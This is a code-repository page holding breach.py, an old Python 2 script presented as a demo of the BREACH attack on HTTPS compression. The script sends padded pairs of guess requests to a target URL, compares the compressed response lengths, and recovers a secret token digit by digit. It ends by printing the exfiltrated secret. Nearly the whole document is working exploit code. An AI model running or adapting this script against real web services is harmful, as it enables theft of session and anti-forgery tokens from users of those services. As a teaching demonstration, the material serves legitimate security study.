breach-https

old python script to demo breach-https vulnerbility

git clone https://9o.is/git/breach-https.git

breach.py

(4043B)


      1 import time
      2 from random import randint
      3 import requests
      4 import math
      5 
      6 keyspace = "0123456789"
      7 targetURL = "https://127.0.0.1:8433/?"
      8 canary = "token=ajax:"
      9 tokenLength = 19 
     10 cookies = ''
     11 
     12 knownToken = ""
     13 NumberOfRequests = 0
     14 
     15 # Default padding (airbags) configuration values
     16 PADDING_SIZE = 40; # Default
     17 PADDING_SIZE_ADJUSTMENT = 0
     18 PADDING_TOP = 300 - PADDING_SIZE
     19 PADDING_BOTTOM = 20 - PADDING_SIZE
     20 
     21 def IsCorrectGuess(currentCanary, guess):
     22   global NumberOfRequests
     23   padding = ""
     24 
     25   for x in xrange(0, (PADDING_SIZE + PADDING_SIZE_ADJUSTMENT) / 2):
     26     padding += "{}"
     27 
     28   headers = { \
     29       'Cache-Control' : 'no-cache', \
     30       'Accept-Encoding' : 'gzip, deflate', \
     31       'Pragma' : 'no-cache', \
     32       'Cookie' : cookies, \
     33       'Accept' : '*/*', \
     34       'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.4 (BREACH 1.0, like Gecko) Chrome/22.0.1229.94 Safari/537.4', \
     35       'Connection' : 'keep-alive'}
     36   r1 = requests.get(targetURL + currentCanary + guess + padding + "@", headers=headers, verify=False)
     37   r2 = requests.get(targetURL + currentCanary + padding + guess + "@", headers=headers, verify=False)
     38   r1Len = len(r1.raw.data)
     39   r2Len = len(r2.raw.data)
     40   NumberOfRequests += 2
     41 
     42   if not r1.ok or not r2.ok or math.fabs(r1Len - r2Len) > 100:
     43     r1 = requests.get(targetURL + currentCanary + guess + padding + "@", headers=headers, verify=False)
     44     r2 = requests.get(targetURL + currentCanary + padding + guess + "@", headers=headers, verify=False) 
     45     r1Len = len(r1.raw.data)
     46     r2Len = len(r2.raw.data)
     47     NumberOfRequests += 2
     48 
     49   if r1Len < r2Len:
     50     print "bytes1: " + str(r1Len) + " ... bytes2: " + str(r2Len) + " [" + guess + "]"
     51     return (True, False)
     52   elif r2Len < r1Len:
     53     return (False, True) # false positive
     54 
     55   return (False, False)
     56 
     57 
     58 def main():
     59   global knownToken
     60   global NumberOfRequests
     61   AirbagExpansions = 0
     62   ForceRecoveryMode = False
     63   start = time.time()
     64 
     65   while True:
     66     winner = None
     67     knownBad = False
     68     blackListedIntelligence = []
     69 
     70     for c in keyspace:
     71       if ForceRecoveryMode: break
     72 
     73       knownBad = False
     74       (isCorrect, knownBad) = IsCorrectGuess(canary + knownToken, c)
     75       if isCorrect:
     76         print "[+] The winner is: " + c
     77 
     78         if winner:
     79           print "[!] FIRST ROUND COLLISION - We already had a winner!! (" + \
     80               winner + " vs. " + c + ")"
     81           print "Forcing Recovery Mode."
     82           winner = None
     83           ForceRecoveryMode = True
     84           break
     85         else:
     86           winner = c
     87 
     88       if knownBad:
     89         blackListedIntelligence.append(c)
     90 
     91     
     92     # If we didn't find a winner -or found too many-, try different padding sizes
     93     if not winner and AirbagExpansions < 5:
     94       PADDING_SIZE_ADJUSTMENT = randint(PADDING_BOTTOM, PADDING_TOP)
     95       print "[ Brief Airbag Expansion (#" + str(AirbagExpansions + 1) + \
     96           " @ " + str(PADDING_SIZE + PADDING_SIZE_ADJUSTMENT) + ") ]"
     97       AirbagExpansions += 1
     98       continue
     99 
    100     # Additional *BASIC* recovery mechanisms
    101     # This will probe 2 characters at a time (n x n)
    102     if not winner:
    103       print "[!] We could not locate a winner"
    104       print "Initiating recovery procedure #1..."
    105 
    106       for c in keyspace:
    107         for d in keyspace:
    108           if d in blackListedIntelligence:
    109             print "  ... " + d + " ... "
    110             continue
    111 
    112           knownBad2 = False
    113           (isCorrect, knownBad2) = IsCorrectGuess(canary + knownToken, d+c)
    114           if not winner and isCorrect:
    115             print "[+] The winner is: " + d
    116             winner = d
    117 
    118     # If we found a winner, we continue with the next character
    119     if winner:
    120       knownToken += winner
    121       AirbagExpansions = 0
    122       PADDING_SIZE_ADJUSTMENT = 0
    123 
    124     print "--- --- ---"
    125     if knownToken.__len__() >= tokenLength:
    126       break
    127     
    128   print "------------- GREAT SUCCESS WITH " + str(NumberOfRequests) + " REQUESTS -------------------- " 
    129   print "Secret Exfiltrated (in " + str(time.time() - start) + " seconds): " + knownToken
    130   print "" 
    131 
    132 if __name__ == '__main__':
    133   main()
    134